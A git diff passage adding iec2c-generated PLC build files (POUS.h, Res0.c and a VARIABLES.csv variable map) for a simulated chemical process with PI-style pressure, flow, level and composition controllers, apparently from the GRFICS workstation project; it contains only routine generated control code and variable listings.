__DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; 